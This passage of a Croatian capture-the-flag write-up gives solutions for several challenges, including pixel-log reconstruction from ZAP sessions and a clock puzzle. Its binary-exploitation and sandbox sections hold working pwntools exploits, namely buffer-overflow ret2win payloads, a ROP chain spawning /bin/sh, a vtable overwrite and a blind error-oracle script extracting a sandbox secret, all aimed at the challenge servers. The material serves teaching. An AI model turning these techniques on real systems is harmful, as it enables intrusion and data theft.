Sada se može koristiti ZAP alat već prisutan u slici, ili instalirati i pokrenuti zaseban
sudo snap install zaproxy --classic
i s pomoću njega importati i otvoriti session datoteke kako bi se vidjeli zabilježeni zahtjevi postavljanja piksela na wplace stranici. Session datoteke su dostupne u direktorijima
/mount/home/kali/.ZAP/session /mount/home/kali/.ZAP/sessions
U jednom od dostupnih session datoteka, se mogu pronaći zabilježeni zahtjevi prema stranici wplace, u kojima se nalaze koordinate nacrtanih piksela.
{"colors":[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"coords":[718,420,718,421,718,422,719,419,721,419,722,419,723,419,722,420,722,421,722,422,725,419,725,420,725,421,725,422,726,421,726,419,728,419,729,419,730,420,729,421,728,422,729,423,730,423,725,423,722,423,719,423,728,423,733,419,734,420,732,422,733,423,732,420,732,421,734,421,734,422,736,419,737,419,738,420,736,423,737,423,738,423,736,422,737,421,740,419,741,419,742,419,740,420,741,421,742,422,741,423,740,423,744,419,744,420,744,421,744,422,744,423,745,423,745,419,747,419,748,419,749,420,748,421], ...
{"colors":[1,1,1,...],"coords":[747,422,747,423,748,423,749,423,752,423,751,422,751,421,753,423,754,422,752,421,753,421,751,420,752,419,753,419,757,419,756,420,758,421,757,421,757,423,758,423,756,422,759,422,759,420,758,419,761,420,761,421,762,422,763,422,763,421,763,423,764,422,761,419,761,422,766,419,767,419,768,419,768,420,768,421,768,422,768,423,770,419,771,419,772,419,770,420,771,421,772,422,771,423,770,423,774,419,775,419,776,420,775,421,774,422,774,423,775,423,776,423,778,419,778,421,778,420,778,422], ...
{"colors":[1,1,1...],"coords":[778,422,779,422,780,422,781,422,780,421,780,423,784,423,784,421,783,420,785,423,785,421,786,422,784,419,785,419,786,420,786,421,783,421,789,419,790,419,788,420,788,422,789,421,790,421,789,423,790,423,791,422,791,420,793,419,794,419,795,420,794,421,793,422,793,423,794,423,795,423,797,419,798,419,799,419,797,420,798,421,799,422,798,423,797,423,801,419,802,419,803,420,802,421,801,422,801,423,802,423,803,423,805,419,806,419,807,419,807,420,807,421,807,422,807,423], ...
{"colors":[1,1,1,1,1,1,1,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7],"coords":[809,419,810,419,810,420,810,421,810,422,810,423,809,423,813,419,814,419,814,420,813,420,815,420,816,420,816,419,817,419,817,420,818,420,817,421,816,421,815,421,814,421,813,421,814,422,815,422,816,422,815,423,812,420,820,420,821,420,822,420,823,420,824,420,825,420,826,420,825,419,824,419,822,419,821,419,821,421,822,421,823,421,824,421,825,421,824,422,823,422,822,422,823,423], ...
Sada se pronađeni pikseli iz ovih zahtjeva mogu prekopirati u “pixel_logs.txt”, te se može napisati Python program koji će parsirati ove zapise, pročitati koordinate svih piksela te ih nacrtati koristeći Tkinter i tako rekonstruirati nacrtanu sliku.
import tkinter as tk
import re
# --- CONFIGURATION ---
LOG_FILE = 'pixel_logs.txt'
PIXEL_SCALE = 8 # screen pixels per each wplace pixel. Increase for a bigger image.
BACKGROUND_COLOR = "lightgrey" #canvas background
DEFAULT_PIXEL_COLOR = "purple" # unknown color ID
PADDING = 40 # White space around the drawing
# color map based on the wplace palette
COLOR_MAP = {
0: "white",
1: "black",
2: "darkgrey",
3: "grey",
4: "lightgrey",
5: "white",
6: "darkred",
7: "red",
8: "orange",
9: "gold",
10: "yellow",
14: "lime",
19: "blue",
20: "cyan",
24: "purple",
27: "pink",
30: "brown",
}
def parse_and_process_logs(filename):
all_pixels = []
print(f"Reading pixel data from {filename}...")
colors_regex = re.compile(r'"colors":\s*\[([^]]*)\]')
coords_regex = re.compile(r'"coords":\s*\[([^]]*)\]')
try:
with open(filename, 'r') as f:
for i, line in enumerate(f):
line = line.strip()
if not line:
continue
colors_match = colors_regex.search(line)
coords_match = coords_regex.search(line)
if not colors_match or not coords_match:
print(f" - Warning: Skipping line {i+1}. Could not find both 'colors' and 'coords' arrays.")
continue
colors_str = colors_match.group(1)
coords_str = coords_match.group(1)
try:
colors = [int(c) for c in colors_str.split(',') if c.strip()]
coords = [int(c) for c in coords_str.split(',') if c.strip()]
except ValueError:
print(f" - Warning: Skipping line {i+1}. Found non-numeric data inside an array.")
continue
if len(coords) % 2 != 0:
coords = coords[:-1]
num_pixels_to_process = min(len(colors), len(coords) // 2)
for pixel_index in range(num_pixels_to_process):
coord_index = pixel_index * 2
x = coords[coord_index]
y = coords[coord_index + 1]
color_id = colors[pixel_index]
all_pixels.append((x, y, color_id))
except FileNotFoundError:
print(f"Error: The file '{filename}' was not found.")
print("Please make sure 'logs.txt' is in the same directory as this script.")
return None
print(f"Successfully processed {len(all_pixels)} pixels.")
return all_pixels
def main():
pixels_to_draw = parse_and_process_logs(LOG_FILE)
if not pixels_to_draw:
print("No pixel data found to draw.")
return
# --- Determine the canvas size ---
min_x = min(p[0] for p in pixels_to_draw)
max_x = max(p[0] for p in pixels_to_draw)
min_y = min(p[1] for p in pixels_to_draw)
max_y = max(p[1] for p in pixels_to_draw)
print(f"Drawing bounds: X from {min_x} to {max_x}, Y from {min_y} to {max_y}")
canvas_width = (max_x - min_x + 1) * PIXEL_SCALE + (2 * PADDING)
canvas_height = (max_y - min_y + 1) * PIXEL_SCALE + (2 * PADDING)
root = tk.Tk()
root.title("Wplace Reconstruction")
canvas = tk.Canvas(root, width=canvas_width, height=canvas_height, bg=BACKGROUND_COLOR)
canvas.pack()
for x, y, color_id in pixels_to_draw:
color_str = COLOR_MAP.get(color_id, DEFAULT_PIXEL_COLOR)
draw_x = (x - min_x) * PIXEL_SCALE + PADDING
draw_y = (y - min_y) * PIXEL_SCALE + PADDING
canvas.create_rectangle(
draw_x,
draw_y,
draw_x + PIXEL_SCALE,
draw_y + PIXEL_SCALE,
fill=color_str,
outline=""
)
root.mainloop()
if __name__ == "__main__":
main()
Kada ste gotovi za zadatkom, napravite unmount.
sudo umount /mount sudo qemu-nbd --disconnect /dev/nbd0 sudo modprobe -r nbd
Binarna eksploatacija
Kočija
Kočija se vratila. Spoji se Linux naredbom nc chal.platforma.hacknite.hr 14011 ili Windows naredbom telnet chal.platforma.hacknite.hr 14011
Uz zadatak je dan i izvorni kod.
U zadatku je potrebno izazvati pozivanje slučaja 5, koji nema break;, pa će se nakon njega odmah ući u slučaj 6 u kojemu se izvršava naredba
longjmp(ctx,a);
A vrijednost a se postavlja kao zadnji uneseni broj. scanf vraća broj pravilno upisanih formata, što znači da je potrebno upisati 5 brojeva, kako bi scanf vratio 5 i kako bi se onda izazvalo pozivanje slučaja 5.
Format rješenja je 5 unesenih brojeva, od kojih zadnji broj mora imati 18. bit slijeva postavljen na 1.
…xx1xxxxxxxxxxxxxxxxx
Skripta koja rješava zadatak.
from pwn import *
p = remote("chal.platforma.hacknite.hr",14011)
p.sendline(b"1 1 1 1 131072")
print(p.recvall())
Zadatak++
sRETno! Na remote instancu se možeš spojiti Linux naredbom nc chal.platforma.hacknite.hr 14008 ili Windows naredbom telnet chal.platforma.hacknite.hr 14008
Uz zadatak je dan i izvorni kod.
Ovaj se zadatak temelji na klasičnoj Ret2win ranjivosti, iako je pisan u C++ jeziku, pristup je isti.
Skripta koja rješava zadatak.
from pwn import *
p = remote("chal.platforma.hacknite.hr",14008)
e = ELF("./zadatak.out")
r = ROP(e)
ret = r.ret.address
payload = b"a" * 40 + p64(ret) + p64(e.sym["_Z7ret2winv"])
p.sendline(payload)
p.interactive()
Nakon toga je potrebno s pomoću shella pročitati /ctf/flag.txt
ZmijaPwn
Još jedan "snake" zadatak. Možeš li doći do flaga? Dostupna ti je Linux izvršna datoteka za lokalnu analizu, a remote instanci se može pristupiti Linux naredbom Napomena: za igranje na remote instanci morate i pritisnuti enter nakon W, A, S ili D (za potrebe exploita se očekuje da ćete to automatizirati) nc chal.platforma.hacknite.hr 14007 ili Windows naredbom telnet chal.platforma.hacknite.hr 14007
Uz zadatak je dan i izvorni kod.
Pregledom koda, može se vidjeti da postoji unsigned integer underflow, koji će u slučaju da score postane -1, underflowom biti postavljen u najveći mogući, te će odmah biti zadovoljen uvjet dovoljno visokog scorea za upis imena.
U funkciji za upis imena se nalazi Ret2win ranjivost.
void highscore_prompt() {
clear_screen();
printf("Impressive score achieved! Enter your username: ");
char buf[32];
gets(buf);
printf("Thanks, %s!\n", buf);
fflush(stdout);
}
Ovdje se funkcijom gets čita neograničen korisnički unos u buffer veličine 32 bajta. Adresa povratka se može prepisati preko buffer overflowa, da se funkcija nakon povratka ne vrati u main, nego na početak izvršavanja funkcije easter_egg koja ispisuje flag.
void easter_egg() {
FILE *file = fopen("easterEgg.txt", "r");
char buffer[256];
while (fgets(buffer, sizeof(buffer), file) != NULL) {
printf("%s", buffer);
}
fclose(file);
fflush(stdout);
}
Skripta koja rješava zadatak na opisani način je u nastavku.
#!/usr/bin/env python3
import collections
import collections.abc
from collections import deque
if not hasattr(collections, "MutableMapping"):
collections.MutableMapping = collections.abc.MutableMapping
from pwn import process, context, ELF, asm, p64, remote, context
from pwnlib.tubes.process import PTY
HOST = 'chal.platforma.hacknite.hr'
PORT = 14007
import sys, re, time
context.log_level = 'info'
WID, HGT = 30, 15
MOVES = {"w": (0,-1), "s": (0,1), "a": (-1,0), "d": (1,0)}
CLEAR_RE = re.compile(b'\x1b\\[2J\x1b\\[H')
def parse_board_from_text(text):
lines = text.splitlines()
grid = []
snake_head = None
poison = None
for y, line in enumerate(lines):
if not line or line[0] != '#':
continue
row = []
for x, ch in enumerate(line):
if ch == '#':
row.append('#')
elif ch in " O*Xo":
row.append(ch)
if ch == 'O':
snake_head = (x-1, y-1)
if ch == 'X':
poison = (x-1, y-1)
else:
row.append(' ')
grid.append(row)
return grid, snake_head, poison
def bfs_path(grid, start, goal):
q = deque([(start, [])])
seen = {start}
moves = [(1,0,"d"),(-1,0,"a"),(0,1,"s"),(0,-1,"w")]
while q:
(x,y), path = q.popleft()
if (x,y) == goal:
return path
for dx,dy,key in moves:
nx, ny = x+dx, y+dy
if not (0 <= nx < WID and 0 <= ny < HGT):
continue
if (nx,ny) in seen:
continue
if grid[ny][nx] in ("#", "o", "O"):
continue
seen.add((nx,ny))
q.append(((nx,ny), path+[key]))
return []
def suicide_move(head):
x, y = head
if x < WID//2: return "a"
if x > WID//2: return "d"
if y < HGT//2: return "w"
return "s"
def get_payload():
elf = ELF('./snake')
easter_egg_addr = elf.symbols['easter_egg']
ret_gadget = None
for gadget in elf.search(asm('ret')):
ret_gadget = gadget
break
if ret_gadget is None:
print("Could not find a ret gadget")
return
offset = 40
payload = b'A' * offset
payload += p64(ret_gadget)
payload += p64(easter_egg_addr)
print(f"[+] easter_egg address: {hex(easter_egg_addr)}")
print(f"[+] ret gadget address: {hex(ret_gadget)}")
print(f"[+] Payload: {payload.hex()}")
return payload
def read_nonblocking(p, timeout=0.05):
try:
chunk = p.recv(timeout=timeout)
chunk = CLEAR_RE.sub(b'', chunk)
sys.stdout.write(chunk.decode(errors='ignore'))
sys.stdout.flush()
return chunk
except Exception:
return b''
def play_snake(binary="./snake"):
context.log_level = 'info'
buffer = b""
p = remote(HOST, PORT)
current_path = []
got_poison = False
try:
while True:
chunk = read_nonblocking(p, 0.05)
if not chunk:
continue
buffer += chunk
if b"Score: -1" in buffer:
time.sleep(0.05)
if b"Enter your username:" in buffer:
buffer = b""
choice = input("Highscore detected. Choose option:\n 1) Enter manually\n 2) Send payload\nEnter 1 or 2: ").strip()
if choice == "1":
username = input("Enter username: ")
p.sendline(username.encode())
else:
payload = get_payload()
print(f"[+] Sending payload ({len(payload)} bytes)")
p.sendline(payload)
for _ in range(20):
chunk = read_nonblocking(p, 0.1)
if not chunk:
break
if b"Score:" in buffer:
text = buffer.decode(errors='ignore')
grid, head, poison = parse_board_from_text(text)
if not head:
buffer = b""
continue
if not got_poison:
if poison:
if not current_path:
current_path = bfs_path(grid, head, poison)
if current_path:
move = current_path.pop(0)
p.send(move.encode())
dx, dy = MOVES[move]
nx, ny = head[0]+dx, head[1]+dy
if (nx, ny) == poison:
got_poison = True
current_path = []
else:
p.send(b'd')
else:
p.send(b'd')
else:
mv = suicide_move(head)
p.send(mv.encode())
buffer = b""
finally:
print("\n[+] Closing process.")
try:
p.close()
except Exception:
pass
if __name__ == "__main__":
play_snake()
binsh
Pokušaj pozvati /bin/sh Na remote instancu se možeš spojiti Linux naredbom nc chal.platforma.hacknite.hr 14010
Uz zadatak je dan i izvorni kod.
Rješenje ovog zadatka se temelji na ROP gadgetu kojim se poziva shell, pretraživanjem i sastavljanjem odgovarajućih elemenata iz glibc shared libraryja.
Rješenje zadatka je u nastavku.
from pwn import *
import sys
if len(sys.argv) > 1:
p = gdb.debug("./zadatak.out")
else:
p = remote("chal.platforma.hacknite.hr",14010)
context.arch = "amd64"
e = ELF("./zadatak.out")
r = ROP(e)
rdi = r.rdi.address
rsi = r.rsi.address
rax = r.rax.address
syscall = r.syscall.address
shell = next(e.search(b"/bin/sh\x00"))
gadgets = [rdi,shell,rsi,0,rax,59,syscall]
for i in range(7):
p.sendline(b"1")
p.sendline(str(101+i).encode())
p.sendline(str(gadgets[i]).encode())
p.sendline(b"a")
p.interactive()
petshop
Je li ovaj pet shop siguran? Na remote instancu se možete spojiti Linux naredbom nc chal.platforma.hacknite.hr 14009 ili Windows naredbom telnet chal.platforma.hacknite.hr 14009
Uz zadatak je dan i izvorni kod.
Rješenje ovog zadatka je drugačije od drugih zadataka pisanih u C programskom jeziku, temelji se na Ret2win, prepisivanju adrese i sadržaja virtualna tablica funkcija (vtable) i string pointera.
Predzadnji upit u zadatku (Ime i prezime>) ima buffer overflow, kojim se treba u objektu mačka koji je na stogu iznad objekta kupac kojemu se upisuje ime i prezime, prepisati string pointer varijable naziv i prepisati pointer na virtualnu tablicu funkcija da oboje pokazuju na istu adresu, koja je u .bss sekciji, na dijelu sekcije gdje nije ništa za što bi program prestao funkcionirati kad bi bilo prepisano (kao stdout npr).
Sada kada je prepisana adresa string varijable naziv u objektu mačka (za prvi odabir uzeti 1 - mačka), zadnji unos je upravo unos naziva ljubimca, odnosno zadnji unos će se pohraniti na adresu na koju prepisana string varijabla naziv pokazuje.
Pošto je i virtualna tablica objekta mačka prepisana, da također pokazuje na tu adresu, kada će se pozvati z→zvuk(); na kraju programa, adresa te funkcije će se pokušati pronaći u virtualnoj tablici, kojoj je adresa prepisana u .bss sekciju, na mjesto na koje se također preko prepisane string varijable naziv može upisati proizvoljna adresa.
Preostalo je za zadnji unos upisati adresu funkcije ret2win, kako bi se adresa te funkcije preko prepisane adrese varijable naziv upisala u .bss sekciju i onda će se pri pozivu z→zvuk();, preko prepisane adrese virtualne tablice koja pokazuje na isto mjesto, umjesto funkcije zvuk, pozvati funkcija ret2win.
Rješenje zadatka
from pwn import *
import sys
e = ELF("./zadatak.out")
if len(sys.argv) > 1:
p = gdb.debug("./zadatak.out")
else:
p = remote("chal.platforma.hacknite.hr",14009)
p.sendline(b"1")
p.sendline(b"1")
bss = e.get_section_by_name(".bss").header.sh_addr + 8
payload = b"a" * 44 + p64(bss) + p64(bss) + p64(0) + p64(8)
p.sendline(payload)
p.sendline(p64(e.sym["_Z7ret2winv"]))
p.interactive()
Razno
Neispravan sat
Ovaj sat radi neobično, čini mi se da je neispravan. Spoji se Linux naredbom nc chal.platforma.hacknite.hr 14035 ili telnet chal.hacknite.hr 12035
Uz zadatak je dan i izvorni kod zadatka.
Potrebno je zabilježiti ispise programa, i iz njih izračunati inicijalni broj dan programu, prema kojemu su određena brzina i početna pozicija sata.
Mogu se zabilježiti prve dvije pozicije i jedna puno kasnija pozicija za izračun parametara.
Clock - elapsed 0s Min:5.00° Hr:125.00° Clock - elapsed 15s Min:5.88° Hr:125.38° Clock - elapsed 692s Min:45.42° Hr:142.32°
Skripta koja pronalazi inicijalnu konfiguraciju iz ovih zapisa dana je u nastavku.
import re
import numpy as np
import sys
def calculate_velocity(times, angles):
dt_est = times[1] - times[0]
da_est = angles[1] - angles[0]
if da_est > 180: da_est -= 360
if da_est < -180: da_est += 360
if dt_est == 0: return 0.0
omega_est = da_est / dt_est
total_dt = times[-1] - times[0]
if total_dt == 0: return 0.0
total_angle_change_est = omega_est * total_dt
raw_angle_diff = angles[-1] - angles[0]
num_wraps = np.round((total_angle_change_est - raw_angle_diff) / 360.0)
total_angle_travel = raw_angle_diff + 360.0 * num_wraps
return total_angle_travel / total_dt
def solve_log(filename="clock_log.txt"):
try:
with open(filename, "r") as f:
log_text = f.read()
except FileNotFoundError:
print(f"Error: The file '{filename}' was not found.")
return
log_pattern = re.compile(r"Clock - elapsed (\d+)s\s+Min:([0-9.]+)°\s+Hr:([0-9.]+)", re.MULTILINE)
matches = log_pattern.findall(log_text)
if not matches or len(matches) < 2:
print("Error: Log file does not contain enough data points.")
return
data = np.array(matches, dtype=float)
# Determine k0 from the initial minute angle ---
theta_m0 = data[0, 1]
true_k0 = int(round(theta_m0))
# Calculate velocities, g, and s to verify consistency ---
omega_min = calculate_velocity(data[:, 0], data[:, 1])
delta_omega = omega_min - calculate_velocity(data[:, 0], data[:, 2])
g = round(0.1 / delta_omega)
s = round(2 * g * (omega_min * 60)) % 12
print(f"Calculated Congruence Class g = {g}")
print(f"Calculated AP Step s = {s}")
# Reconstruct the correct sequence ---
def k_to_hour(k): return 12 if k == 0 else k
hour_sequence = [k_to_hour((true_k0 + n * s) % 12) for n in range(12)]
final_string = "".join(map(str, hour_sequence))
solution = final_string[:12]
print("\n---------------------------------------------------------")
print(" THE UNIQUE SOLUTION IS")
print("---------------------------------------------------------")
print(f"Starting Hour: {k_to_hour(true_k0)}")
print(f"Hour Sequence: {hour_sequence}")
print(f"Final 12-digit string: {solution}")
print(f"FLAG: CTF2025[{solution}]")
print("---------------------------------------------------------")
if __name__ == "__main__":
solve_log()
Elemental Fighters
Rješenje zadatka dostupno je ovdje:
SandBlox
Možeš li pobjeći iz ovog Python zatvora iako ti nećemo dati izvorni kod? http://chal.platforma.hacknite.hr:14034/
Tehnika ovog rješenja je slična kao Blind SQL injection, no nema baze podataka nad kojom se šalju upiti, nego je tehnika upita bazirana na istom principu. FLAG varijabla je unutar samog sandbox okruženja koje jedino vraća odgovor je li se kod uspješno izvršio ili nije. Rješenje je ostvareno izvršavanjem Python koda nad FLAG varijablom oblika “Ako je tvrdnja točna, nemoj baciti grešku, ako je tvrdnja netočna, baci grešku” ili obrnuto (kao što je u skripti).
Skripta je dana u nastavku.
import requests
import string
from string import ascii_lowercase
url="http://chal.platforma.hacknite.hr:14034/"
# Known flag format
known_prefix = "CTF2025["
flag = known_prefix
charset = "0123456789]"
for position in range(len(known_prefix), 21): # CTF2025[ + 12 digits + ] = 21 chars
low = 0
high = len(charset) - 1
found_char = None
while low <= high:
mid = (low + high) // 2
char = charset[mid]
payload = f"""
if ord(FLAG[{position}]) >= ord('{char}'):
undefined_function()
else:
a = 2 + 3
"""
try:
response = requests.post(url, data={'code': payload})
response_text = response.text
# Check if we got an error (condition was true)
if "Error occurred!" in response_text:
found_char = char
low = mid + 1
elif "Code ran successfully!" in response_text:
high = mid - 1
else:
print("Unknown response")
print("Response text:", response_text)
except Exception as e:
print(f"Request error: {e}")
break
if found_char is not None:
flag += found_char
print(f"Position {position}: Found character '{found_char}', Current flag: {flag}")
else:
print(f"Position {position}: Error finding character")
break
print(f"Flag: {flag}")
Čvor
Posloži čvor! Spoji se Linux naredbom nc chal.platforma.hacknite.hr 14033 ili Windows naredbom telnet chal.platforma.hacknite.hr 14033
Potrebno je napisati program koji će pronaći validnu konfiguraciju točaka za zadane uvjete. Program se može napisati u Pythonu, ili u C-u ili Rustu, u kojem slučaju je skripta puno brža nego ako je napisana Pythonom.
Python skripta se može pokrenuti s “pypy” implementacijom Pythona, u kojem slučaju će se skripta značajno ubrzati.
pypy3 solveScript.py
u nastavku je dana Python skripta koja pronalazi validno rješenje ovih uvjeta, koja je kompatibilna s pypy implementacijom. Skripta koristi bruteforce pristup s backtrack algoritmom, bez heuristika. Moguće je napisati skriptu koja koristi prikladne heuristike i puno brže pronalazi validnu konfiguraciju rješenja.
import sys
import math
import random
class KnotBuilder:
def __init__(self, num_nodes, min_dist, space_size):
self.num_nodes = num_nodes
self.min_dist = min_dist
self.space_size = space_size
self.nodes = [] # list of (x,y,z) tuples
def is_valid_position(self, pos):
x, y, z = pos
# Check 3D distance constraint
for nx, ny, nz in self.nodes:
dx = x - nx
dy = y - ny
dz = z - nz
if dx*dx + dy*dy + dz*dz < (self.min_dist * self.min_dist):
return False
# Check projections for crossing conditions
def check_proj_axis(axis1, axis2):
p = (pos[axis1], pos[axis2])
# Node-node overlap
for n in self.nodes:
q = (n[axis1], n[axis2])
if p == q:
return False
# Node on existing segment
for i in range(len(self.nodes)-1):
a = self.nodes[i]
b = self.nodes[i+1]
pa = (a[axis1], a[axis2])
pb = (b[axis1], b[axis2])
if pa == pb:
continue
if p == pa or p == pb:
continue
orient = (pb[0] - pa[0])*(p[1] - pa[1]) - (pb[1] - pa[1])*(p[0] - pa[0])
if abs(orient) == 0:
if min(pa[0], pb[0]) <= p[0] <= max(pa[0], pb[0]) and min(pa[1], pb[1]) <= p[1] <= max(pa[1], pb[1]):
return False
# Intersection with new segment
if self.nodes:
last = self.nodes[-1]
p1 = (last[axis1], last[axis2])
p2 = (pos[axis1], pos[axis2])
for i in range(len(self.nodes)-1):
a = self.nodes[i]
b = self.nodes[i+1]
pa = (a[axis1], a[axis2])
pb = (b[axis1], b[axis2])
if pa == p1 or pb == p1 or pa == p2 or pb == p2:
continue
if self._segments_intersect(p1, p2, pa, pb):
return False
return True
# Check XY, XZ, YZ projections
if not check_proj_axis(0, 1):
return False
if not check_proj_axis(0, 2):
return False
if not check_proj_axis(1, 2):
return False
return True
def _segments_intersect(self, p1, p2, p3, p4):
def orient(a, b, c):
return (b[0] - a[0])*(c[1] - a[1]) - (b[1] - a[1])*(c[0] - a[0])
def on_seg(a, b, c):
return min(a[0], c[0]) <= b[0] <= max(a[0], c[0]) and min(a[1], c[1]) <= b[1] <= max(a[1], c[1])
o1 = orient(p1, p2, p3)
o2 = orient(p1, p2, p4)
o3 = orient(p3, p4, p1)
o4 = orient(p3, p4, p2)
# Colinear cases
if o1 == 0 and on_seg(p1, p3, p2): return True
if o2 == 0 and on_seg(p1, p4, p2): return True
if o3 == 0 and on_seg(p3, p1, p4): return True
if o4 == 0 and on_seg(p3, p2, p4): return True
if (o1 > 0 and o2 < 0 or o1 < 0 and o2 > 0) and (o3 > 0 and o4 < 0 or o3 < 0 and o4 > 0):
return True
return False
def calculate_crossings(self):
crossings = []
def proj_cross(axis1, axis2, plane):
# Node-node overlap
for i in range(len(self.nodes)):
for j in range(i+1, len(self.nodes)):
p1 = (self.nodes[i][axis1], self.nodes[i][axis2])
p2 = (self.nodes[j][axis1], self.nodes[j][axis2])
if p1 == p2:
crossings.append((plane, 'node-node', i, j))
# Node on edge
for i in range(len(self.nodes)):
p = (self.nodes[i][axis1], self.nodes[i][axis2])
for j in range(len(self.nodes)-1):
if i == j or i == j+1:
continue
pa = (self.nodes[j][axis1], self.nodes[j][axis2])
pb = (self.nodes[j+1][axis1], self.nodes[j+1][axis2])
orient = (pb[0] - pa[0])*(p[1] - pa[1]) - (pb[1] - pa[1])*(p[0] - pa[0])
if abs(orient) == 0 and min(pa[0], pb[0]) <= p[0] <= max(pa[0], pb[0]) and min(pa[1], pb[1]) <= p[1] <= max(pa[1], pb[1]):
crossings.append((plane, 'node-edge', i, j, j+1))
# Edge-edge intersections
for i in range(len(self.nodes)-1):
p1 = (self.nodes[i][axis1], self.nodes[i][axis2])
p2 = (self.nodes[i+1][axis1], self.nodes[i+1][axis2])
for j in range(i+2, len(self.nodes)-1):
p3 = (self.nodes[j][axis1], self.nodes[j][axis2])
p4 = (self.nodes[j+1][axis1], self.nodes[j+1][axis2])
if self._segments_intersect(p1, p2, p3, p4):
crossings.append((plane, 'edge-edge', i, i+1, j, j+1))
proj_cross(0,1,'XY')
proj_cross(0,2,'XZ')
proj_cross(1,2,'YZ')
return crossings
def add_remaining_nodes(self):
remaining = self.num_nodes - len(self.nodes)
attempts = 0
max_attempts = 10000
while remaining > 0 and attempts < max_attempts:
x = random.randint(0, self.space_size)
y = random.randint(0, self.space_size)
z = random.randint(0, self.space_size)
pos = (x, y, z)
if pos in self.nodes:
attempts += 1
continue
if self.is_valid_position(pos):
self.nodes.append(pos)
remaining -= 1
attempts += 1
return remaining == 0
def backtrack(self, current_nodes):
if len(current_nodes) == self.num_nodes + 1:
return True
for x in range(0, self.space_size+1):
for y in range(0, self.space_size+1):
for z in range(0, self.space_size+1):
pos = (x, y, z)
if pos in current_nodes:
continue
valid = True
for nx, ny, nz in current_nodes:
dx = x - nx; dy = y - ny; dz = z - nz
if dx*dx + dy*dy + dz*dz < (self.min_dist*self.min_dist):
valid = False
break
if not valid:
continue
old_nodes = self.nodes
self.nodes = list(current_nodes)
if self.is_valid_position(pos):
current_nodes.append(pos)
if self.backtrack(current_nodes):
return True
current_nodes.pop()
self.nodes = old_nodes
return False
def main():
num_nodes = 12
min_dist = 3
space_size = 6 #(0 - 6)
builder = KnotBuilder(num_nodes, min_dist, space_size)
success = builder.backtrack([(0, 0, 0)])
if success:
print("\nNode coordinates:")
for i, (x, y, z) in enumerate(builder.nodes):
print(f"Node {i}: ({str(x-(space_size//2))},{y-(space_size//2)},{z-(space_size//2)})")
else:
print("Failed to build complete knot with given constraints.")
if __name__ == "__main__":
main()
Ako vas zanima više o ovom problemu, probajte napisati algoritam koji brže nalazi validna rješenja i probajte pronaći najveći broj točaka za koji je moguće pronaći validnu konfiguraciju uz iste uvjete prostora i minimalne udaljenosti. Za ovo se preporučuje napisati implementaciju u C programskom jeziku ili u Rustu.